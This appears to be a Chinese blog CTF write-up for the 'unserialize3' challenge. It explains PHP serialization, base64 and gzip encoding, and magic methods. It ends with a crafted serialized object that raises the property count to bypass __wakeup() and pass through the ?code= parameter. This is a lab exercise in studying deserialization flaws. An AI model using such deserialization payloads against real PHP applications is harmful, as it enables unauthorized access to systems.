• unserialize3


    0x01序列化与反序列化

    • 序列化:将变量转换为可保存或传输的字符串的过程。
    • 反序列化:在适当的的时候把这个字符串再转化成原来的变量使用。

    优点:

    • 存储和传输数据更方便,使程序维护性更高。

    函数:

    serialize,unserialize,json_encode,json_decode,

    1、serialize、unserialize

    <?php
    $a="aaaa";
    $a=serialize($a);//字符序列化
    echo $a;
    echo unserialize($a);//字符反序列化
    echo PHP_EOL;
    
    
    $b=array("aaaa","bb","c");
    $b=serialize($b);//数组序列化
    echo $b;
    $b=unserialize($b);//数组反序列化
    var_dump($b);
    echo PHP_EOL;
    
    
    s:4:"aaaa";aaaa
    a:3:{i:0;s:4:"aaaa";i:1;s:2:"bb";i:2;s:1:"c";}array(3) {
      [0]=>
      string(4) "aaaa"
      [1]=>
      string(2) "bb"
      [2]=>
      string(1) "c"
    }
    ?>
    各个字符的意义:
    o:表示对象
    a:表示数组
    s:表示字符
    i:表示数字
    
    //s表示字符,4表示有4个字符,内容为"aaaa"
    //a表示数组,3表示有三个变量值,i:0表示第一个变量,s为字符串,4位4个字符
    
    

    当数组值包含单双引号或冒号时,序列化后容易出现问题。所以,采用base64_encode和base64decode。

    <?php
    $a = array("a","b","c");
    $a=base64_encode(serialize($a));
    echo $a;
    echo PHP_EOL;
    $b=unserialize(base64_decode($a));
    var_dump($b);
    
    YTozOntpOjA7czoxOiJhIjtpOjE7czoxOiJiIjtpOjI7czoxOiJjIjt9
    array(3) {
      [0]=>
      string(1) "a"
      [1]=>
      string(1) "b"
      [2]=>
      string(1) "c"
    }
    
    ?>
    

    但是采用base64编码后,增加了字符串长度,增加了存储空间,所以使用gzcompress、gzuncompress压缩字符串。

    <?php
    $a = array("a","b","c");
    $b=base64_encode(serialize($a));
    $c=base64_encode(gzcompress(serialize($a)));
    echo $b;
    echo PHP_EOL;
    echo $c;
    echo PHP_EOL;
    
    $d=unserialize(base64_decode($b));
    $e=unserialize(gzuncompress(base64_decode($c)));
    var_dump($d);
    echo PHP_EOL;
    var_dump($e);
    
    

    0x02魔术方法

    • PHP将所有以__开头的类方法保存为魔术方法,所以在定义方法时,除了魔术方法,不要以__为前缀。
    • serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被先调用,然后执行序列化操作,此功能用于清理对象。
    • unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,先调用。
    • __wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,绕过点。

    0x03代码分析

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=
    
    //绕过__wakeup()魔术函数,得到flag
    

    运行php代码,创建对象,序列化变量

    <?php
    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    }
    
    $a=new xctf();
    echo serialize($a);
    
    //O:4:"xctf":1:{s:4:"flag";s:3:"111";}
    ?>
    

    修改属性值O:4:"xctf":2:{s:4:"flag";s:3:"111";},1->2
    code传参
    得到flag

    参考链接:
    https://www.cnblogs.com/dayin1/p/11465832.html
    https://www.jianshu.com/p/8f498198fc3d
    https://blog.csdn.net/zz_Caleb/article/details/89361250

  • 相关阅读:
    怎样用 koa-router 实现 get 请求
    怎样用 koa-bodyparser 获取 POST 请求上下文中的表单数据
    怎样用 Koa 搭配 fs 模块返回一个 html 文件给前端
    怎样用 koa 解析出 POST 请求上下文中的表单数据
    怎样用 Koa 写 Hello, World!
    怎样使用 Vue-CLI 创建 Vue3 项目
    Koa 中怎样获取请求中的 query 参数
    怎样开发一个最简版 Koa 日志打印中间件
    怎样安装 Koa
    辅助理解 this 的一些代码片段
  • 原文地址:https://www.cnblogs.com/observering/p/12827655.html
Copyright © 2020-2023  润新知